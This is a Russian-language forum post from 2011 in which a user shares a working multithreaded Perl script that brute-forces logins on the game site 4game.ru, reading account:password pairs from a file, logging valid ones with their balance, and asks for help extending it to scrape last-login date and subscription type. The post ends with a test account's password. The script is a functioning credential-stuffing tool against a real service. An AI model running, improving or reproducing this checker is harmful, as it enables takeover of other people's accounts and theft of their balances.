Прошу помощи, скрипт на перл.

Discussion in 'PHP' started by StarJIeu, 5 Apr 2011.

  1. StarJIeu

    StarJIeu New Member

    Joined:
    4 Apr 2011
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    Помогите со скриптом плизз!)
    Code:
    #!/usr/bin/perl
    #© dpe
    
    
    use LWP::UserAgent;
    use HTTP::Cookies;
    use threads;
    use threads::shared;
    use Fcntl ':flock';
    use HTTP::Request::Common;
    
    
    #######################Config##################################
    
    my $accs = 'accs.txt'; #Файл с аккаунтами вида (акк;пасс)
    my $acc_delm = ':'; #разделитель
    my $threads = 1; #кол-во потоков
    my $good = 'good.txt'; #файл с гудами
    my $bad = 'bad.txt'; #файл с бэдами
    
    ###############################################################
    
    
    my @accs : shared = lf($accs);
    threads->new(\&main) for 1 .. $threads;
    $_->join for threads->list;
    
    sub main {
    while(@accs) {
    my ($login, $pass) = split $acc_delm => shift @accs;
    my $ua = LWP::UserAgent->new;
    $ua->cookie_jar({});
    $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
    my $resp = $ua->post('https://4game.ru/login.html',
    [ 'AuthForm[captchaRequired]' =>'',
    'AuthForm[loginOrEmail]' => $login,
    'AuthForm[password]' => $pass,
    'AuthForm[rememberMe]' =>'1']);
    
    if ($resp-> content=~ m/link button_register/msgi){
    print "[BAD] $login:$pass\n";
    wf($bad, "$login:$pass\n");}
    else {
    $resp = $ua->get("https://4game.ru/subscription/index.html")->content;
    my $bal = $2 if $resp =~ /class="text_green"(>)(\d{1,10})\s(.*)<\/span>/;
    print "[GOOD] $login:$pass:$bal\n";
    wf($good, "$login:$pass:$bal\n");}
    }
    }
    sub lf
    {
    open my $dat, '< ', $_[0] or die "\nCould not open $_[0] file!\n";
    chomp(my @data = <$dat>);
    close $dat;
    return @data;
    }
    sub wf
    {
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat;
    }
    
    Вот этот скрипт брутит сайт 4game.ru и при успешном бруте выводит акк:пасс:баланс, но хотелось бы его улучшить и сделать так чтобы выводилось еще и некоторые даннные, а именно дата последнего посещения и тип подписки =) вот пример кода с страницы:

    <div class="block_border">
    <p><span class="text_bold">Последний вход в игру </span> 24 марта 2011 в 11:42.</p><p>Тип подписки: бесплатная.</p></div><td class="td_4">

    Вот сама страница с которого надо выводить данные:
    https://4game.ru/subscription/service/6.html

    Я пытался сделать таким образом:
    дописать в скрипте -

    Code:
    $resp = $ua->get("https://4game.ru/subscription/service/6.html")->content;
    my $info = $2 if $resp =~ /class="text_bold"(>) 
    
    а вот что писать после - /class="text_bold"(>) незнаю, пробывал, но выводилось постоянно пустота

    Помогите плиз с этим скриптом, буду очень блогадарен =)

    вот акк для теста:

    [email protected]:Ma4532780
     
    #1 StarJIeu, 5 Apr 2011
    Last edited: 5 Apr 2011